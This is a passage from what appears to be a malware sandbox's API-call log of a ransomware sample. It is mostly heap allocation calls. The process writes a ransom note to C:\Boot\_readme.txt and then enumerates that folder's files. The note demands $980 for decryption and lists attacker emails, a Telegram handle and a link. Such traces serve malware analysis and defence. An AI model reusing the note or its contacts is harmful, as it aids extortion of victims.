hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.482] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.482] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.482] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.484] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.484] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.484] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.484] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.484] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.484] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.484] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.484] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.484] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.484] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.484] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.484] PathFindFileNameW (pszPath="") returned="" [0119.484] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.484] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.484] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.485] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.485] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0119.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.485] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0119.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3093da8 [0119.485] lstrcpyW (in: lpString1=0x3093da8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.485] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.485] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093da8 | out: hHeap=0x5e0000) returned 1 [0119.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.486] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xdf58b170, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xdf58b170, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xdf245330, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x3022998 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a88 | out: hHeap=0x5e0000) returned 1 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.486] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a38 [0119.487] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a60 | out: hHeap=0x5e0000) returned 1 [0119.487] 